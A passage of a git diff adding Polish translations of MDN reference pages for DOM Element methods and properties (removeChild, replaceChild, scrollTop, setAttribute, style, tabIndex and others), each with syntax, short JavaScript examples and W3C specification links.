id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> +<pre class="eval"><i>element</i>.removeAttributeNS(<i>przestrzeńNazw</i>,<i>nazwaAtrybutu</i>); +</pre> +<ul> + <li><code>przestrzeńNazw</code> to ciąg znaków określający przestrzeń nazw atrybutu.</li> + <li><code>nazwaAtrybutu</code> to ciąg znaków z nazwą atrybutu do usunięcia.</li> +</ul> +<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3> +<pre>// <div id="div1" xmlns:special="http://www.mozilla.org/ns/specialspace" +// special:specialAlign="utterleft" width="200px" /> +d = document.getElementById("div1"); +d.removeAttributeNS("http://www.mozilla.org/ns/specialspace", "specialAlign"); +// teraz: <div id="div1" width="200px" /> +</pre> +<h3 id="Uwagi" name="Uwagi">Uwagi</h3> +<p>{{ DOMAttributeMethods() }}</p> +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> +<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-ElRemAtNS">DOM Level 2 Core: removeAttributeNS</a></p> +<p> </p> +<div class="noinclude"> + </div> +<p>{{ languages( { "en": "en/DOM/element.removeAttributeNS", "fr": "fr/DOM/element.removeAttributeNS", "ja": "ja/DOM/element.removeAttributeNS" } ) }}</p> diff --git a/files/pl/web/api/element/removechild/index.html b/files/pl/web/api/element/removechild/index.html new file mode 100644 index 0000000000..c07c36ab3b --- /dev/null +++ b/files/pl/web/api/element/removechild/index.html @@ -0,0 +1,36 @@ +--- +title: element.removeChild +slug: Web/API/Element/removeChild +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/Node/removeChild +--- +<p>{{ ApiRef() }}</p> +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> +<p>Metoda <b>removeChild</b> usuwa węzeł potomny elementu.</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> +<pre class="eval"><i>stareDziecko</i> =<i>element</i>.removeChild(<i>dziecko</i>) +</pre> +<h3 id="Parametry" name="Parametry">Parametry</h3> +<ul> + <li><code>dziecko</code> jest usuwanym węzłem potomnym.</li> + <li><code>element</code> jest węzłem nadrzędnym węzła <code>dziecko</code>.</li> + <li><code>stareDziecko</code> jest referencją do usuwanego węzła <code>dziecko</code>. <code>stareDziecko == dziecko.</code></li> +</ul> +<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3> +<pre>// <div id="nadrzedny" align="center"> +// <div id="zagniezdzony"></div> +// </div> +d = document.getElementById("nadrzedny"); +d_zagniezdzony = document.getElementById("zagniezdzony"); +usuwany_wezel = d.removeChild(d_zagniezdzony); +</pre> +<p> </p> +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> +<p><a class="external" href="http://www.w3.org/TR/2000/REC-DOM-Level-2-Core-20001113/core.html#ID-1734834066">removeChild </a></p> +<div class="noinclude"> + </div> +<p>{{ languages( { "en": "en/DOM/element.removeChild", "fr": "fr/DOM/element.removeChild", "ja": "ja/DOM/element.removeChild" } ) }}</p> diff --git a/files/pl/web/api/element/replacechild/index.html b/files/pl/web/api/element/replacechild/index.html new file mode 100644 index 0000000000..dcb5686d44 --- /dev/null +++ b/files/pl/web/api/element/replacechild/index.html @@ -0,0 +1,53 @@ +--- +title: element.replaceChild +slug: Web/API/Element/replaceChild +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/Node/replaceChild +--- +<p>{{ ApiRef() }}</p> +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> +<p>Zastępuje dziecko węzła innym węzłem.</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> +<pre class="eval"><i>węzełZastąpiony</i> =<i>węzełRodzic</i>.replaceChild(<i>noweDziecko</i>,<i>stareDziecko</i>); +</pre> +<ul> + <li><code>noweDziecko</code> to nowy węzeł, który ma zastąpić <code>stareDziecko</code>. Jeśli węzeł ten istnieje już gdzieś indziej w DOM, najpierw jest stamtąd usuwany.</li> + <li><code>stareDziecko</code> to istniejące dziecko, które ma zostać zastąpione.</li> + <li><code>węzełZastąpiony</code> to węzeł, który został zastąpiony. Jest to ten sam węzeł, co <code>stareDziecko</code>.</li> +</ul> +<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3> +<pre>// <div> +// <span id="childSpan">foo bar</span> +// </div> + +// utwórz węzeł pustego elementu +// bez ID, atrybutów i zawartości +var sp1 = document.createElement("span"); + +// nadaj mu ID 'newSpan' +sp1.setAttribute("id", "newSpan"); + +// utwórz jakąś zawartość dla nowego elementu +var sp1_content = document.createTextNode("Nowy element span."); + +// wstaw tę zawartość +sp1.appendChild(sp1_content); + +// stwórz referencję do istniejącego węzła, który ma zostać zastąpiony +var sp2 = document.getElementById("childSpan"); +var parentDiv = sp2.parentNode; + +// zastąp istniejący węzeł sp2 elementem span sp1 +parentDiv.replaceChild(sp1, sp2); + +</pre> +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> +<p><a class="external" href="http://www.w3.org/TR/REC-DOM-Level-1/level-one-core.html#method-replaceChild">DOM Level 1 Core: replaceChild</a></p> +<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-785887307">DOM Level 2 Core: replaceChild</a></p> +<div class="noinclude"> + </div> +<p>{{ languages( { "en": "en/DOM/element.replaceChild", "fr": "fr/DOM/element.replaceChild", "ja": "ja/DOM/element.replaceChild" } ) }}</p> diff --git a/files/pl/web/api/element/scrollleft/index.html b/files/pl/web/api/element/scrollleft/index.html new file mode 100644 index 0000000000..e6c526c23b --- /dev/null +++ b/files/pl/web/api/element/scrollleft/index.html @@ -0,0 +1,58 @@ +--- +title: element.scrollLeft +slug: Web/API/Element/scrollLeft +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/Element/scrollLeft +--- +<p>{{ ApiRef() }}</p> +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> +<p><b>scrollLeft </b> pobiera bądź ustawia liczbę pikseli, o którą zostanie przewinięta zawartość dokumentu. Kierunek przewijania odbywa się w lewo.</p> +<h3 id="Sk.C5.82adnia_i_warto.C5.9Bci" name="Sk.C5.82adnia_i_warto.C5.9Bci">Składnia i wartości</h3> +<pre class="eval">// Pobierz wartość przewinięcia w pikselach +var <var>sLeft</var> = <var>element</var>.scrollLeft; +</pre> +<p><var>sLeft</var> jest wartością liczbową reprezentującą ilość pikseli, o które <var>element</var> został przewinięty w lewo.</p> +<pre class="eval">// Ustaw wartość przewinięcia w pikselach +<var>element</var>.scrollLeft = 10; +</pre> +<p><b>scrollLeft</b> może przyjąć dowolną wartość liczbową, jednakże:</p> +<ul> + <li>Jeżeli element nie może być przewijany (nie posiada atrybutu overflow), scrollLeft jest równe 0.</li> + <li>Jeżeli ustawiana wartość jest mniejsza niż 0, scrollLeft jest równe 0.</li> + <li>Jeżeli ustawiana wartość jest większa od wartości maksymalnej, o którą zawartość dokumentu może być przewijana, scrollLeft jest równe wartości maksymalnej.</li> +</ul> +<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3> +<pre><script type="text/javascript"> + +function doScrollLeft(el, p) +{ + el.scrollLeft = p; +} + +</script> + +<div id="aDiv" + style="width: 100px; height: 200px; overflow: auto;" +> +<script type="text/javascript"> +for (var i=0; i<100; ++i){ + document.write(i + '-FooBar-FooBar-FooBar<br>'); +} +</script> +</div> +<br> +<input type="button" value="Scroll left 50" + onclick="doScrollLeft(document.getElementById('aDiv'), 50);" +> +</pre> +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> +<p>To nie jest żadna część specyfikacji W3C.</p> +<h3 id="Powi.C4.85zania" name="Powi.C4.85zania">Powiązania</h3> +<p><a class="external" href="http://msdn.microsoft.com/workshop/author/dhtml/reference/properties/scrollleft.asp">MSDN scrollLeft</a></p> +<div class="noinclude"> + </div> +<p>{{ languages( { "en": "en/DOM/element.scrollLeft", "fr": "fr/DOM/element.scrollLeft" } ) }}</p> diff --git a/files/pl/web/api/element/scrolltop/index.html b/files/pl/web/api/element/scrolltop/index.html new file mode 100644 index 0000000000..a79c23d9ff --- /dev/null +++ b/files/pl/web/api/element/scrolltop/index.html @@ -0,0 +1,70 @@ +--- +title: element.scrollTop +slug: Web/API/Element/scrollTop +translation_of: Web/API/Element/scrollTop +--- +<p>{{APIRef}}</p> + +<p><strong><code>scrollTop</code></strong> pobiera bądź ustawia liczbę pikseli, o którą ma zostać przewinięta w górę zawartość elementu.</p> + +<h2 id="Sk.C5.82adnia_i_warto.C5.9Bci" name="Sk.C5.82adnia_i_warto.C5.9Bci">Składnia i wartości</h2> + +<pre class="eval">// Pobierz wartość przewinięcia w pikselach +var <var> intElemScrollTop</var> = <var>element</var>.scrollTop; +</pre> + +<p><var>intElemScrollTop</var> jest liczbą całkowitą reprezentującą ilość pikseli, o które <var>element</var> został przewinięty w górę.</p> + +<pre class="eval">// Ustaw wartość przewinięcia w pikselach +<var>element</var>.scrollTop = <var>intValue</var>; +</pre> + +<p><strong><code>scrollTop</code></strong> może przyjąć dowolną wartość liczbową, jednakże:</p> + +<ul> + <li>Jeżeli element nie może być przewijany (gdy np. nie posiada własności overflow), scrollTop jest równe 0.</li> + <li>Jeżeli ustawiona wartość jest mniejsza niż 0, <code>scrollTop</code> jest równe 0.</li> + <li>Jeżeli ustawiona wartość jest większa od wartości maksymalnej, o którą zawartość elementu może być przewinięta, <code>scrollTop</code> jest równe wartości maksymalnej.</li> +</ul> + +<h2 id="Opis" name="Opis">Opis</h2> + +<p>Element <strong><code>scrollTop</code></strong> jest miarą odległości od góry elementu do najwyższej krawędzi jego widzialnej zawartości.</p> + +<p>Kiedy zawartość elementu nie powoduje powstania pionowego paska przewijania, wartość <code>scrollTop</code> jest domyślnie ustawiona na 0.</p> + +<h2 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h2> + +<div id="offsetContainer" style="margin: 26px 0px; background-color: rgb(255, 255, 204); border: 4px dashed black; color: black; position: absolute; left: 260px;"> +<div id="idDiv" style="margin: 24px 29px; border: 24px black solid; padding: 0px 28px; width: 199px; height: 102px; overflow: auto; background-color: white; font-size: 13px!important; font-family: Arial, sans-serif;"> +<p id="PaddingTopLabel" style="text-align: center; font-style: italic; font-weight: bold; font-size: 13px!important; font-family: Arial, sans-serif; margin: 0px;">padding-top</p> + +<p>Gentle, individualistic and very loyal, Birman cats fall between Siamese and Persian in character. If you admire cats that are non aggressive, that enjoy being with humans and tend to be on the quiet side, you may well find that Birman cats are just the felines for you.</p> + +<p><span style="float: right;"><img alt="Image:BirmanCat.jpg"></span>All Birmans have colorpointed features, dark coloration of the face, ears, legs and tail.</p> + +<p>Cat image and text coming from <a class="external" href="http://www.best-cat-art.com/">www.best-cat-art.com</a></p> + +<p id="PaddingBottomLabel" style="text-align: center; font-style: italic; font-weight: bold; font-size: 13px!important; font-family: Arial, sans-serif; margin: 0px;">padding-bottom</p> +</div> +<strong style="color: blue; font-family: arial,sans-serif; font-size: 13px!important; font-weight: bold; left: -32px; position: absolute; top: 85px;">Left</strong><strong style="color: blue; font-family: arial,sans-serif; font-size: 13px!important; font-weight: bold; left: 170px; position: absolute; top: -24px;">Top</strong><strong style="color: blue; font-family: arial,sans-serif; font-size: 13px!important; font-weight: bold; left: 370px; position: absolute; top: 85px;">Right</strong><strong style="color: blue; font-family: arial,sans-serif; font-size: 13px!important; font-weight: bold; left: 164px; position: absolute; top: 203px;">Bottom</strong><em>margin-top</em><em>margin-bottom</em><em>border-top</em><em>border-bottom</em><span class="comment">{{ mediawiki.external('if IE') }}><span id="MrgLeft" style="position: absolute; left: 8px; top: 65px; font: bold 13px Arial, sans-serif !important; writing-mode: tb-rl;">margin-left</span><span id="BrdLeft" style="position: absolute; left: 33px; top: 65px; color: white; font: bold 13px Arial, sans-serif !important; writing-mode: tb-rl;">border-left</span><span id="PdgLeft" style="position: absolute; left: 55px; top: 65px; font: bold 13px Arial, sans-serif !important; writing-mode: tb-rl;">padding-left</span><span id="PdgRight" style="position: absolute; left: 275px; top: 60px; color: black; font: bold 13px Arial, sans-serif !important; writing-mode: tb-rl; white-space: nowrap;">padding-right</span><span id="BrdRight" style="position: absolute; left: 310px; top: 65px; color: white; font: bold 13px Arial, sans-serif !important; writing-mode: tb-rl;">border-right</span><span id="MrgRight" style="position: absolute; left: 340px; top: 65px; font: bold 13px Arial, sans-serif !important; writing-mode: tb-rl;">margin-right</span><!{{ mediawiki.external('endif') }}</span></div> + +<p style="margin-top: 270px;"><img alt="Image:scrollTop.png"></p> + +<p>Nie mamy interaktywnej demonstracji jak ma to miejsce w dokumentacji Gecko DOM.</p> + +<h2 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h2> + +<p><code>scrollTop</code> jest częścią obiektowego modelu MSIE. <code>scrollTop</code> nie jest częścią żadnej specyfikacji W3C lub rekomendacji technicznej.</p> + +<h3 id="Uwagi" name="Uwagi">Uwagi</h3> + +<p>scrollTop jest własnością obiektowego modelu DHTML (Dynamic HyperText Markup Language), który po raz pierwszy został wprowadzony przez MSIE. Własność ta jest zdefiniowana jako odległość do górnej krawędzi widoku elementu przewijanego.</p> + +<h2 id="Dokumentacja" name="Dokumentacja">Dokumentacja</h2> + +<ul> + <li><a class="external" href="http://msdn.microsoft.com/workshop/author/dhtml/reference/properties/scrolltop.asp?frame=true">MSDN's scrollTop definition</a></li> + <li><a class="external" href="http://msdn.microsoft.com/workshop/author/om/measuring.asp">MSDN's Measuring Element Dimension and Location</a></li> + <li><a class="external" href="http://www.mozilla.org/docs/dom/domref/scrollTop.html">Gecko DOM Reference on scrollTop</a></li> +</ul> diff --git a/files/pl/web/api/element/scrollwidth/index.html b/files/pl/web/api/element/scrollwidth/index.html new file mode 100644 index 0000000000..42cb1a96f1 --- /dev/null +++ b/files/pl/web/api/element/scrollwidth/index.html @@ -0,0 +1,32 @@ +--- +title: element.scrollWidth +slug: Web/API/Element/scrollWidth +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/Element/scrollWidth +--- +<p>{{ ApiRef() }}</p> +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> +<p><b>scrollWidth</b> jest własnością tylko do odczytu, która zwraca szerokość zawartości elementu w pikselach lub szerokość samego elementu - w zależności od tego, która z tych wartości jest większa.</p> +<h3 id="Sk.C5.82adnia_i_warto.C5.9Bci" name="Sk.C5.82adnia_i_warto.C5.9Bci">Składnia i wartości</h3> +<pre class="eval">var <var>xScrollWidth</var> = <var>element</var>.scrollWidth; +</pre> +<p><var>xScrollWidth</var> jest szerokością zawartości elementu <var>element</var> w pikselach.</p> +<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3> +<pre><div id="aDiv" + style="width: 100px; height: 200px; overflow: auto;" +>-FooBar-FooBar-FooBar</div> +<br> +<input type="button" value="Show scrollWidth" + onclick="alert(document.getElementById('aDiv').scrollWidth);"> +</pre> +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> +<p>Nie ma specyfikacji W3C dla <b>scrollWidth</b>.</p> +<h3 id="Dokumentacja" name="Dokumentacja">Dokumentacja</h3> +<p><a class="external" href="http://msdn.microsoft.com/workshop/author/dhtml/reference/properties/scrollwidth.asp">MSDN scrollWidth reference</a></p> +<div class="noinclude"> + </div> +<p>{{ languages( { "en": "en/DOM/element.scrollWidth", "fr": "fr/DOM/element.scrollWidth" } ) }}</p> diff --git a/files/pl/web/api/element/setattribute/index.html b/files/pl/web/api/element/setattribute/index.html new file mode 100644 index 0000000000..79f649526e --- /dev/null +++ b/files/pl/web/api/element/setattribute/index.html @@ -0,0 +1,34 @@ +--- +title: element.setAttribute +slug: Web/API/Element/setAttribute +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/Element/setAttribute +--- +<p>{{ ApiRef() }}</p> +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> +<p><code>setAttribute</code> dodaje nowy lub zmienia wartość atrybutu w bieżącym elemencie.</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> +<pre class="eval">element.setAttribute(<i>nazwa</i>,<i>wartość</i>) +</pre> +<h3 id="Parametry" name="Parametry">Parametry</h3> +<ul> + <li><code>nazwa</code> to łańcuch znaków z nazwą nowego atrybutu,</li> + <li><code>wartość</code> to żądana wartość nowego atrybutu.</li> +</ul> +<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3> +<pre>d = document.getElementById("d1"); +d.setAttribute("align", "center"); +</pre> +<h3 id="Uwagi" name="Uwagi">Uwagi</h3> +<p>Jeśli istnieje już atrybut o danej nazwie, jego wartość zostaje zmieniona na wartość podaną w wywołaniu <b>setAttribute</b>. Jeśli nie istnieje taki atrybut, zostanie on utworzony.</p> +<p>Pomimo, że <a href="pl/DOM/element.getAttribute">getAttribute</a> zwraca <code>null</code> jeśli atrybut nie istnieje, do usuwania atrybutów powinieneś używać metody <a href="pl/DOM/element.removeAttribute">removeAttribute</a>, a nie <code>element.setAttribute(attr, null)</code>.</p> +<p>{{ DOMAttributeMethods() }}</p> +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> +<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-F68F082">DOM Level 2 Core: setAttribute</a> (wprowadzono w <a class="external" href="http://www.w3.org/TR/REC-DOM-Level-1/level-one-core.html#method-setAttribute">DOM Level 1 Core</a>)</p> +<div class="noinclude"> + </div> +<p>{{ languages( { "en": "en/DOM/element.setAttribute", "fr": "fr/DOM/element.setAttribute", "ja": "ja/DOM/element.setAttribute" } ) }}</p> diff --git a/files/pl/web/api/element/setattributenode/index.html b/files/pl/web/api/element/setattributenode/index.html new file mode 100644 index 0000000000..dbf836f80c --- /dev/null +++ b/files/pl/web/api/element/setattributenode/index.html @@ -0,0 +1,40 @@ +--- +title: element.setAttributeNode +slug: Web/API/Element/setAttributeNode +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/Element/setAttributeNode +--- +<p>{{ ApiRef() }}</p> +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> +<p><code>setAttributeNode</code> dodaje do elementu nowy węzeł typu <code>Attr</code>.</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> +<pre class="eval"><i>zastąpionyAtr</i> = element.setAttributeNode(<i>atrybut</i>) +</pre> +<h3 id="Parametry" name="Parametry">Parametry</h3> +<ul> + <li><code>atrybut</code> jest węzłem typu <code>Attr</code></li> + <li><code>zastąpionyAtr</code> jest węzłem zastąpionego atrybutu - jeśli był taki - zwróconym przez tę metodę</li> +</ul> +<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3> +<pre>// <div id="raz" align="left">raz</div> +// <div id="dwa">dwa</div> +d1 = document.getElementById("raz"); +d2 = document.getElementById("dwa"); +a = d1.getAttributeNode("align"); +d2.setAttributeNode(a); +alert(d2.attributes[1].value) +// wypisze: "left" +</pre> +<h3 id="Uwagi" name="Uwagi">Uwagi</h3> +<p>Jeżeli istnieje już atrybut o danej nazwie, zostanie on zastąpiony nowym atrybutem i zwrócony jako wynik funkcji.</p> +<p>Tej metody używa się rzadko - do zmiany atrybutów elementu zwykle wykorzystywana jest metoda <a href="pl/DOM/element.setAttribute">setAttribute</a>.</p> +<p>{{ DOMAttributeMethods() }}</p> +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> +<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-887236154">DOM Level 2 Core: setAttributeNode</a> (wprowadzono w <a class="external" href="http://www.w3.org/TR/REC-DOM-Level-1/level-one-core.html#method-setAttributeNode">DOM Level 1 Core</a></p> +<div class="noinclude"> + </div> +<p>{{ languages( { "en": "en/DOM/element.setAttributeNode", "fr": "fr/DOM/element.setAttributeNode", "ja": "ja/DOM/element.setAttributeNode" } ) }}</p> diff --git a/files/pl/web/api/element/setattributenodens/index.html b/files/pl/web/api/element/setattributenodens/index.html new file mode 100644 index 0000000000..5633d0367e --- /dev/null +++ b/files/pl/web/api/element/setattributenodens/index.html @@ -0,0 +1,41 @@ +--- +title: element.setAttributeNodeNS +slug: Web/API/Element/setAttributeNodeNS +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/Element/setAttributeNodeNS +--- +<p>{{ ApiRef() }}</p> +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> +<p><code>setAttributeNodeNS</code> dodaje nowy węzeł atrybutu z określoną nazwą i przestrzenią nazw.</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> +<pre class="eval"><i>replacedAttr</i> = element.setAttributeNodeNS(<i>namespace</i>,<i>attributeNode</i>) +</pre> +<ul> + <li><code>replacedAttr</code> jest zastąpionym węzłem atrybutu (jeśli istnieje), zwracanym przez tę funkcję.</li> + <li><code>attributeNode</code> jest węzłem <code>Attr</code>.</li> +</ul> +<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3> +<pre>// <div id="one" special-align="utterleft">one</div> +// <div id="two">two</div> + +var myns = "http://www.mozilla.org/ns/specialspace"; +var d1 = document.getElementById("one"); +var d2 = document.getElementById("two"); +var a = d1.getAttributeNodeNS(myns, "special-align"); +var d2.setAttributeNodeNS(myns, a); + +alert(d2.attributes[1].value) // zwraca: `utterleft' +</pre> +<h3 id="Uwagi" name="Uwagi">Uwagi</h3> +<p>Jeśli określony atrybut istnieje dla elementu, to jest on zastępowany nowym i zwracany.</p> +<p>{{ DOMAttributeMethods() }}</p> +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> +<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-ElSetAtNodeNS">DOM Level 2 Core: setAttributeNodeNS</a></p> +<p> </p> +<div class="noinclude"> + </div> +<p>{{ languages( { "en": "en/DOM/element.setAttributeNodeNS", "fr": "fr/DOM/element.setAttributeNodeNS", "ja": "ja/DOM/element.setAttributeNodeNS" } ) }}</p> diff --git a/files/pl/web/api/element/setattributens/index.html b/files/pl/web/api/element/setattributens/index.html new file mode 100644 index 0000000000..c721111e36 --- /dev/null +++ b/files/pl/web/api/element/setattributens/index.html @@ -0,0 +1,33 @@ +--- +title: element.setAttributeNS +slug: Web/API/Element/setAttributeNS +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/Element/setAttributeNS +--- +<p>{{ ApiRef() }}</p> +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> +<p><code>setAttributeNS</code> dodaje nowy lub zmienia wartość istniejącego atrybutu o podanej nazwie i przestrzeni nazw.</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> +<pre class="eval"><i>element</i>.setAttributeNS(<i>przestrzeńNazw</i>,<i>nazwa</i>,<i>wartość</i>) +</pre> +<ul> + <li><code>przestrzeńNazw</code> to ciąg znaków określajacy przestrzeń nazw atrybutu.</li> + <li><code>nazwa</code> to ciąg znaków określający nazwę atrybutu do ustawienia.</li> + <li><code>wartość</code> to żądana wartość atrybutu.</li> +</ul> +<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3> +<pre class="eval">var d = document.getElementById("d1"); +d.setAttributeNS("<span class="nowiki">http://www.mozilla.org/ns/specialspace</span>", "align", "center"); +</pre> +<h3 id="Uwagi" name="Uwagi">Uwagi</h3> +<p>{{ DOMAttributeMethods() }}</p> +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> +<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-ElSetAttrNS">DOM Level 2 Core: setAttributeNS</a></p> +<p> </p> +<div class="noinclude"> + </div> +<p>{{ languages( { "en": "en/DOM/element.setAttributeNS", "fr": "fr/DOM/element.setAttributeNS", "ja": "ja/DOM/element.setAttributeNS" } ) }}</p> diff --git a/files/pl/web/api/element/style/index.html b/files/pl/web/api/element/style/index.html new file mode 100644 index 0000000000..4736774e83 --- /dev/null +++ b/files/pl/web/api/element/style/index.html @@ -0,0 +1,52 @@ +--- +title: element.style +slug: Web/API/Element/style +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Strony_wymagające_dopracowania + - Wszystkie_kategorie +translation_of: Web/API/ElementCSSInlineStyle/style +--- +<p>{{ ApiRef("DOM") }}</p> + +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> + +<p>Zwraca obiekt reprezentujący atrybut <code>style</code> elementu.</p> + +<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3> + +<pre class="eval">var div = document.getElementById("div1"); +div.style.marginTop = ".25in"; +</pre> + +<h3 id="Uwagi" name="Uwagi">Uwagi</h3> + +<p>Ponieważ własność <code>style</code> reprezentuje atrybut <code>style</code>, który ma najwyższy priorytet w kaskadzie CSS, własność ta jest użyteczna by ustawić styl określonego elementu. Nie przyda się jednak do sprawdzania stylu elementu, ponieważ zależy ona tylko od atrybutu <code>style</code>, a nie od reguł stylów określonych gdziekolwiek indziej. Możesz użyć <code><a href="/pl/DOM/window.getComputedStyle" title="pl/DOM/window.getComputedStyle">window.getComputedStyle</a></code>, by sprawdzić styl elementu.</p> + +<p>Zobacz listę <a href="/pl/DOM/CSS" title="pl/DOM/CSS">własności CSS dostępnych w DOM</a>, gdzie znajdziesz też dodatkowe uwagi o zastosowaniu własności <code>style</code>.</p> + +<p>Ogólnie rzecz biorąc, lepiej jest użyć własność <code>style </code>zamiast <code>elt.setAttribute('style', '...')</code>, ponieważ użycie <code>style</code> nie nadpisze innych własności CSS, które mogły być wcześniej określone atrybutem <code>style</code>.</p> + +<p>Styli nie można ustawiać poprzez przekazywania łańcucha znaków do atrybutu <code>style</code> (tylko odczyt), np. <code>elt.style = "color: blue;"</code>. Jest to niemożliwe ponieważ atrybut stylu zwraca obiekt <code>CSSStyleDeclaration</code> . Zamiast tego, możesz ustawić poszczególne własności atrybutu <code>style</code> w ten sposób:</p> + +<pre class="eval">elt.style.color = "blue"; // Directly + +var st = elt.style; +st.color = "blue"; // Indirectly +</pre> + +<p>Poniższy kod wyświetli nazwy wszystkich własności stylu, wartości ustawione dla elementu <code>elt</code> oraz dziedziczone 'przeliczone'' wartości:</p> + +<pre class="eval">var elt = document.getElementById("elementIdHere"); +var out = ""; +var st = elt.style; +var cs = window.getComputedStyle(z, null); +for (x in st) + out += " " + x + " = '" + st[x] + "' > '" + cs[x] + "'\n"; +</pre> + +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> + +<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Style/css.html#CSS-ElementCSSInlineStyle">DOM Level 2 Style: ElementCSSInlineStyle.style</a></p> diff --git a/files/pl/web/api/element/tabindex/index.html b/files/pl/web/api/element/tabindex/index.html new file mode 100644 index 0000000000..d8fdd6ce7d --- /dev/null +++ b/files/pl/web/api/element/tabindex/index.html @@ -0,0 +1,31 @@ +--- +title: element.tabIndex +slug: Web/API/Element/tabIndex +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/HTMLOrForeignElement/tabIndex +--- +<div> + {{APIRef}}</div> +<div> + </div> +<div> + <span style="font-size: 2.14285714285714rem; font-weight: 700; letter-spacing: -1px; line-height: 30px;">Podsumowanie</span></div> +<p>Pobiera/ustawia kolejność tabulacji dla bieżącego elementu.</p> +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> +<pre class="syntaxbox">element.tabIndex = <em>indeks</em> +</pre> +<ul> + <li><code>indeks</code> to liczba</li> +</ul> +<h2 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h2> +<pre class="brush:js">var b1 = document.getElementById("button1"); + +b1.tabIndex = 1;</pre> +<h2 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h2> +<ul> + <li><a class="external" href="http://www.w3.org/TR/2000/WD-DOM-Level-2-HTML-20001113/html.html#ID-40676705">tabIndex </a></li> +</ul> diff --git a/files/pl/web/api/element/tagname/index.html b/files/pl/web/api/element/tagname/index.html new file mode 100644 index 0000000000..61972df98c --- /dev/null +++ b/files/pl/web/api/element/tagname/index.html @@ -0,0 +1,37 @@ +--- +title: element.tagName +slug: Web/API/Element/tagName +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/Element/tagName +--- +<p>{{ ApiRef() }}</p> +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> +<p><b>tagName</b> zwraca nazwę elementu.</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> +<pre class="eval"><i>nazwaElementu</i> = element.tagName +</pre> +<ul> + <li><code>nazwaElementu</code> to ciąg zawierający nazwę bieżącego elementu.</li> +</ul> +<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3> +<p>Dane są takie znaczniki:</p> +<pre class="eval"><span id="born">Kiedy przyszedłem na świat...</span> +</pre> +<p>i taki skrypt:</p> +<pre class="eval">var span = document.getElementById("born"); +alert(span.tagName); +</pre> +<p>W XHTML-u (lub innym formacie XML) wyświetlone zostanie "span", a w HTML - "SPAN".</p> +<h3 